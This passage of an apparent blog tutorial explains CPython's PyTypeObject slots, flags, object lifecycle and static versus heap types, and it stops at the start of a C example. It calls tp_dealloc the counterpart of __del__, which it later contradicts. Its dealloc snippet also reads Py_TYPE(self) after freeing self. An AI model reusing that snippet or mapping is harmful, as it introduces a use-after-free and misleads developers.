&lt;p&gt;This object we are talking about, the PyTypeObject structure is a vast collection of C function pointers and other fields, which collectively known as “slots”. These slots are the C-Level implementation of Python’s special methods ( such as tp_name -&amp;gt; __name__ , tp_dealloc -&amp;gt; __del__ and tp_repr -&amp;gt; __repr__ )and other intrinsic behaviors. When defining a custom type in C (we are going to do that later in this article), developers populate these slots with pointers to C functions that implement the desired Python behavior. The PyType_Ready() function is then invoked to finalize the type object, populating any unassigned slots with default implementations and preparing the type for use within the interpreter.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;These methods (such as __name__, __repr__, __add__ etc) are also known as “dunder” methods (short for “double underscore”)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  1. Core Identity and Layout
&lt;/h4&gt;

&lt;p&gt;Lets talk about the slots that define a type’s fundamental identity and its instances’ memory footprint.&lt;/p&gt;

&lt;p&gt;tp_name is of course the most straightforward one, it’s simply a C string ( const char * ) that holds the type’s fully qualified name (ex: int or module.ClassName . This is basically how the interpreter knows what kind of thing it’s dealing with. It’s like the name tag of the type.&lt;/p&gt;

&lt;p&gt;tp_doc which is also a const char * , and is pointing to the type’s docstring, when we do something like MyBadClass.__doc__ in Python, that is where it pulls that from.&lt;/p&gt;

&lt;p&gt;Then there are two fields which take care of how much memory a type’s instance will occupy:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;tp_basicsize (Py_ssize_t): Defines the minimum number of bytes required (or the base memory required) to store a single instance of the type.&lt;/li&gt;
&lt;li&gt;tp_itemsize ( Py_ssize_t ): Specifies the per-item size for variable-length objects, such as tuples or strings, so like how many extra bytes to allocate for each item depending on how many elements the object will hold.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;2. Attribute Access&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;The way Python handles attribute access is what brings flexibility to its highly dynamic object model.&lt;/p&gt;

&lt;p&gt;The two main function pointers are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;tp_getattro (getattrofunc): This slot is called whenever an attribute is accessed such as obj.attr. It effectively maps to Python’s __getattribute__, and supports the fallback behavior of __getattr__ when needed.&lt;/li&gt;
&lt;li&gt;tp_setattro (setattrofunc): This slot is responsible for attribute assignments and deletions (obj.attr = val or del obj.attr). It's the C-level equivalent of __setattr__ and __delattr__&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In addition to above raw function hooks, we have arrays that allows types to present a structured view of their attributes and methods:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;tp_methods (array of PyMethodDef): This defines the regular methods available on the type, these are the classic C-extension methods that become bound functions when accessed from Python.&lt;/li&gt;
&lt;li&gt;tp_members (array of PyMemberDef): These describe basic C struct fields directly exposed as attributes. They are useful for simple int, float, or pointer fields that map directly from C to Python.&lt;/li&gt;
&lt;li&gt;tp_getset (array of PyGetSetDef): This defines custom getter/setter pairs that work like properties, invoking logic on access, similar to what you’d write using the @property decorator in pure Python.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These slots and arrays collectively establish the low-level framework behind Python’s attribute handling mechanism. They support everything from simple field access to complete descriptor protocol integration, all while adhering to the Method Resolution Order (MRO).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;We’ll explore the details of MRO later in another section, since it determines the exact order in which Python searches for attributes across complex inheritance hierarchies.&lt;/em&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;3. Protocol Implementations&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;PyTypeObject also has various pointers to sub structures and individual function pointers. These are the key “Protocol implementations” that determine how an object responds to different Python operations. The brilliance of this approach allow a single object to behave as a number, a sequence, a mapping, or be callable, iterable or comparable.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;tp_as_number ( PyNumberMethods * ), this pointer is to PyNumberMethods structure, a collection of C functions that says what to do when treated like a &lt;strong&gt;number.&lt;/strong&gt; If this pointer is not NULL, the object can perform defined arithmetic operations, such as those implemented by the __add__ and __sub__ etc methods. These methods allow for operations like addition and subtraction to be performed on instances of the object.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;for example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CustomNumber&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__repr__&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
        Provides a developer-friendly string representation of the object.
        &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;CustomNumber(&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

    &lt;span class="c1"&gt;# --- Arithmetic Dunder Methods ---
&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__add__&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
        Implements the addition operator (+).
        Called for CustomNumber() + other.
        &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;CustomNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__sub__&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
        Implements the subtraction operator (-).
        Called for CustomNumber() - other.
        &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;CustomNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__mul__&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
        Implements the multiplication operator (*).
        Called for CustomNumber() * other.
        &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;CustomNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__truediv__&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
        Implements the true division operator (/).
        Called for CustomNumber() / other.
        &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ZeroDivisionError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;division by zero&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;CustomNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# --- Demonstration ---
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--- CustomNumber Instances ---&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;num1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;CustomNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;num2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;CustomNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;num3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;CustomNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;2.5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;num1: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;num1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;num2: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;num2&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;num3: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;num3&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;--- Basic Arithmetic Operations ---&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;num1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; + &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;num2&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;num1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;num2&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;num1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; - &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;num2&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;num1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;num2&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;num1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; * &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;num2&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;num1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;num2&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;num1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; / &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;num2&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; = &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;num1&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;num2&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# --- Output ---
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
--- CustomNumber Instances ---
num1: CustomNumber(10)
num2: CustomNumber(5)
num3: CustomNumber(2.5)

--- Basic Arithmetic Operations ---
CustomNumber(10) + CustomNumber(5) = CustomNumber(15)
CustomNumber(10) - CustomNumber(5) = CustomNumber(5)
CustomNumber(10) * CustomNumber(5) = CustomNumber(50)
CustomNumber(10) / CustomNumber(5) = CustomNumber(2.0)

&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;tp_as_sequence (PySequenceMethods * ) — Points to PySequenceMethod structure, this also has C functions like above that defines the behavior for object that act like sequences, meaning objects with ordered collections where elements can be accessed by an integer index. Python types such as lists , tuples and str are primarily rely on this protocol. For example, sq_length implements __len__ , which is used by the len() function, sq_item implements __getitem__ for integer indexing (ex: some_obj[0] ). This structure also defines many other operations for sequences, including those for &lt;strong&gt;mutable sequences (&lt;/strong&gt; __setitem__, __delitem__&lt;strong&gt;)&lt;/strong&gt;, and operations like &lt;strong&gt;concatenation&lt;/strong&gt; and &lt;strong&gt;repetition.&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;tp_as_mapping (PyMappingMethods *) , directs to PyMappingMethods structure, and defines how the object behaves as a mapping, mapping is a collection where elements are accessed by arbitrary keys (like strings, numbers, or other hashable objects — most commonly the Python dict). Similar to sequences this also implements __len__ via mp_length (for mappings) and __getitem__ via mp_subscript ( for key based lookup ex: some_obj['key'] ), similarly this structure also defines operations for mappings, including those for mutable mappings (ex: some_obj['key'] = value, del some_obj['key'] )&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now we have more of these. I will simply list them here along with what they implement. You can always find more details about them individually, so I see no point in going through all of them. Hopefully, the above ones will give you enough idea of “Protocol Implementations.”&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;tp_hash (hashfunc): Implements the object's __hash__ method.&lt;/li&gt;
&lt;li&gt;tp_call (ternaryfunc): Implements the object's __call__ method.&lt;/li&gt;
&lt;li&gt;tp_iter (getiterfunc : Implements the object’s __iter__ method.&lt;/li&gt;
&lt;li&gt;tp_iternext (iternextfunc): Implements an iterator's __next__ method.&lt;/li&gt;
&lt;li&gt;tp_richcompare (richcmpfunc): Implements the "rich comparison" methods (__lt__, __le__, __eq__, __ne__, __gt__, __ge__)&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  B. Modifying Type Semantics (tp_flags)
&lt;/h4&gt;

&lt;p&gt;The tp_flags field contains a bitmask of unsigned_long values that represent the meaning and behavior of the type. The bitmask offers a very lightweight and compact way to specify the semantics of a type and also lend itself to other optimizations. Since the semantics are in the form of a bitmask, the type can be very explicit about the behavior it is defining, this is a common C level pattern used to represent and manage things where there are many options, but not too many individual fields.&lt;/p&gt;

&lt;p&gt;These are some quite interesting and relevant flags, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Py_TPFLAGS_HEAPTYPE: Indicates that the type object itself is allocated on the heap, characteristic of Python-defined classes.&lt;/li&gt;
&lt;li&gt;Py_TPFLAGS_BASETYPE: Allows the type to be used as a base class for inheritance.&lt;/li&gt;
&lt;li&gt;Py_TPFLAGS_HAVE_GC: Signals that the object supports garbage collection, implying the presence of tp_traverse and tp_clear slots.&lt;/li&gt;
&lt;li&gt;Py_TPFLAGS_IMMUTABLETYPE: Marks the type as immutable, meaning its attributes cannot be set or deleted after creation.&lt;/li&gt;
&lt;li&gt;Py_TPFLAGS_MANAGED_DICT / Py_TPFLAGS_MANAGED_WEAKREF: These flags indicate that the instance's __dict__ or weak references are managed by the CPython VM.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  C. Object Lifecycle Management: Allocation, Initialization, and Deallocation Revisited
&lt;/h4&gt;

&lt;p&gt;The lifecycle of a Python object is broken into distinct phases — allocation, initialization, finalization, and deallocation, all of which are controlled through specific slots in the PyTypeObject.&lt;/p&gt;

&lt;h4&gt;
  
  
  1.LifeCycle
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Object Allocation:&lt;/strong&gt; &lt;strong&gt;tp_new (newfunc)&lt;/strong&gt; , this function is responsible for allocating a new instance, it corresponds to __new__() from Python and typically handles memory allocation and minimal setup (such as setting reference counts and type).&lt;/p&gt;

&lt;p&gt;Cool fact is that although the name says “new”, tp_new isn’t always required to return a new object. In some cases like &lt;strong&gt;singletons&lt;/strong&gt; or &lt;strong&gt;memoized (&lt;/strong&gt;&lt;em&gt;Memoization is an optimization technique that uses caching, probably for an entire new article in the future&lt;/em&gt;&lt;strong&gt;)&lt;/strong&gt; patterns, it can return a reference to an existing object. This flexibility gives developers precise control over the object identity and instantiation behavior.&lt;/p&gt;

&lt;p&gt;Okay, now if you happen to ask what a “singleton” is, it means that you will always get the &lt;em&gt;exact same&lt;/em&gt; object no matter how many times you try to create new instances of it, for example None, True and False are such singletons, there’s only one for each of these. It’s a design pattern that restricts the instantiation of a class to a &lt;strong&gt;single object&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Object Initialization:&lt;/strong&gt; &lt;strong&gt;tp_init (initproc) ,&lt;/strong&gt; so after tp_new above returns a valid object, tp_init is invoked to perform initialization step, this is where instance attributes are setup and constructor arguments are handled. Yup this is Python’s __init__()&lt;/p&gt;

&lt;p&gt;The question came to my mind right away was that “&lt;em&gt;why the separation of these two&lt;/em&gt;”, This clear separation means that tp_new decides &lt;em&gt;which&lt;/em&gt; object to provide (a brand new one or an existing one, reused one), while tp_init then consistently handles &lt;em&gt;setting up that object’s specific state&lt;/em&gt;. So it’s like imagine you have an pool full of objects, tp_new might just grab an object from the pool instead of allocating a fresh one, then the role of tp_init is that even if tp_new returns an existing object, it can still “reset” or rather “re-initialize” its state for its new purpose, therefore this whole separation allows for optimizations such as reusing existing objects while still running initialization logic conditionally.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Object Deallocation and Cleanup:&lt;/strong&gt; &lt;strong&gt;tp_dealloc (destructor) ,&lt;/strong&gt; When an object’s reference count ( ob_refcnt) reaches zero, CPython calls tp_dealloc (Sounds familiar?, yes we discussed about this in &lt;strong&gt;1-B section&lt;/strong&gt; ). This function is responsible for releasing owned resources, other Python objects, buffers, file handles etc and finally deallocating the object’s memory by calling tp_free .&lt;/p&gt;

&lt;p&gt;For non-GC types, tp_free is what usually set to PyObject_Del() . This is consistent with the rule that says: “&lt;em&gt;an object should be deallocated using the same allocator used to create it.”&lt;/em&gt; If PyObject_New() was used for allocation, PyObject_Del() should be used to free it.&lt;/p&gt;

&lt;p&gt;you will also occasionally see the pattern:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;tp_free&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PyObject&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;Py_DECREF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Py_TYPE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This ensures the type object itself (if heap allocated) can be freed once all instances are gone, since it holds a reference to its type by default.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Raw Memory Release:&lt;/strong&gt; *&lt;em&gt;tp_free (freefunc) *&lt;/em&gt;, this is the actual function that frees the memory allocated for the object. Depending on the type’s GC status and memory model, this is typically:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PyObject_Del() — simple and for non-GC types&lt;/li&gt;
&lt;li&gt;PyObject_GC_Del() — for objects managed by the cyclic garbage collector&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;this is called within the tp_dealloc as the final step of destruction.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Optional Finalizer:&lt;/strong&gt; *&lt;em&gt;tp_finalize (destructor) *&lt;/em&gt;, This slot corresponds to __del__() method in Python. If defined tp_finalize is called once before the object is destroyed either by the GC or right before the deallocation.&lt;/p&gt;

&lt;p&gt;Since you can call this before an object gets destroyed, you could actually create a new reference to this object, essentially resurrecting the object. But this must be handled with care as it can interfere with deterministic cleanup processes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Breaking Cycles:&lt;/strong&gt; &lt;strong&gt;tp_clear (inquiry)&lt;/strong&gt; , This is actually a part of the garbage collector’s cycle breaking phase. It is called specifically to clear references the object holds to other Python objects, especially in case of self referential or mutually referential structures. Note that this is not called by PyDECREF , and is only triggered when CPython’s cyclic GC detects a cycle.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. Static vs. Heap — Allocated Types
&lt;/h4&gt;

&lt;p&gt;CPython supports two primary ways of defining custom types, with tradeoffs in performance, flexibility and control.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Static Types&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Defined as statically allocated PyTypeObject structs in C. These are initialized at module load time via PyTypeReady() and are typically immutable. Static types are more efficient due to lower overhead and are often used for core types or simple extensions.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No runtime customization&lt;/li&gt;
&lt;li&gt;Limited to single inheritance&lt;/li&gt;
&lt;li&gt;Excellent for performance critical or fixed layout types&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Heap Types&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Heap allocated types (indicated by Py_TPFLAGS_HEAPTYPE) are created dynamically using functions like PyType_FromSpec() . These match Python’s class model more closely. They are slightly more expensive to manage but are essential for flexibility in user defined classes or framework level abstractions.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Dynamic creation and modification&lt;/li&gt;
&lt;li&gt;Full multiple inheritance&lt;/li&gt;
&lt;li&gt;Support for metaclasses and descriptors&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finally, aah let’s get our hands dirty.&lt;/p&gt;

&lt;h4&gt;
  
  
  Code Example: A Minimal Custom Type in C
&lt;/h4&gt;

&lt;blockquote&gt;
&lt;p&gt;Don’t worry about setups and errors, as I told at the beginning of the article, you can open this &lt;a href="https://colab.research.google.com/drive/1RfLUdQbQWDMxonA5Zidn4teNKxfLYQ6d?usp=sharing" rel="noopener noreferrer"&gt;https://colab.research.google.com/drive/1RfLUdQbQWDMxonA5Zidn4teNKxfLYQ6d?usp=sharing&lt;/a&gt; link on another tab and see the example in action. This will contain all the three examples that we will have in this article, check the first cell collection tab for this particular one.&lt;/p&gt;

&lt;p&gt;If you want to run this on your own machine, the code is available as a GitHub gist as well, so simply download and compile: &lt;a href="https://gist.github.com/RezSat/e23d767605c1caa44f48ac4db7548439" rel="noopener noreferrer"&gt;https://gist.github.com/RezSat/e23d767605c1caa44f48ac4db7548439&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The following C code outlines a minimal custom type, SimpleObject. This type exposes a single integer member and provides a basic __repr__ method.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#define PY_SSIZE_T_CLEAN
